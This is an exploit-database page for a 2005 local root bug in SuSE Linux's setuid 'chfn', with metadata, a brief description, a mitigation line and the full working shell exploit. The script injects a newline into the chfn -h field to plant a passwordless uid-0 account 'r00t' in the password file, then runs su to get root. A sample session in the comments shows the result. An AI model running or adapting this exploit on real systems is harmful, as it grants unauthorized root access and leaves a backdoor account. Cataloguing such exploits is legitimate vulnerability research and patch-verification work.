header-logo
Suggest Exploit
vendor:
Linux
by:
Hunger
7,2
CVSS
HIGH
Local Privilege Escalation
264
CWE
Product Name: Linux
Affected Version From: SuSE Linux 9.1/10.0, Desktop 1.0, UnitedLinux 1.0 and SuSE Linux Enterprise Server 8/9
Affected Version To: SuSE Linux 9.3/10.0, Desktop 1.0, UnitedLinux 1.0 and SuSE Linux Enterprise Server 8/9
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Linux
2005

SuSE Linux 9.{1,2,3}/10.0, Desktop 1.0, UnitedLinux 1.0 and SuSE Linux Enterprise Server {8,9} ‘chfn’ local root bug

This exploit is for SuSE Linux 9.{1,2,3}/10.0, Desktop 1.0, UnitedLinux 1.0 and SuSE Linux Enterprise Server {8,9} 'chfn' local root bug. It allows a user to gain root privileges by setting the SHELL environment variable to the path of a shell and then running the chfn command with a modified password file. The exploit then runs the su command to gain root privileges.

Mitigation:

The vulnerability can be mitigated by setting the /usr/bin/chfn file to not be setuid root.
Source

Exploit-DB raw data:

#!/bin/sh
#
# Exploit for SuSE Linux 9.{1,2,3}/10.0, Desktop 1.0, UnitedLinux 1.0
# and SuSE Linux Enterprise Server {8,9} 'chfn' local root bug.
# 
# by Hunger <susechfn@hunger.hu>
#
# Advistory:
# http://lists.suse.com/archive/suse-security-announce/2005-Nov/0002.html
# 
# hunger@suse:~> id
# uid=1000(hunger) gid=1000(hunger) groups=1000(hunger)
# hunger@suse:~> ./susechfn.sh
# Type your current password to get root... :)
# Password:
# sh-2.05b# id
# uid=0(r00t) gid=0(root) groups=0(root)

if [ X"$SHELL" = "X" ]; then
	echo "No SHELL environment, using /bin/sh for default."
	export SHELL=/bin/sh
fi

if [ -u /usr/bin/chfn ]; then
	/bin/echo "Type your current password to get root... :)"
	/usr/bin/chfn -h "`echo -e ':/:'$SHELL'\nr00t::0:0:'`" $USER > /dev/null
	if [ -u /bin/su ]; then
		/bin/su r00t
		/bin/echo "You can get root again with 'su r00t'"
	else 
		echo "/bin/su file is not setuid root :("
	fi
else
echo "/usr/bin/chfn file is not setuid root :("
fi

# milw0rm.com [2005-11-08]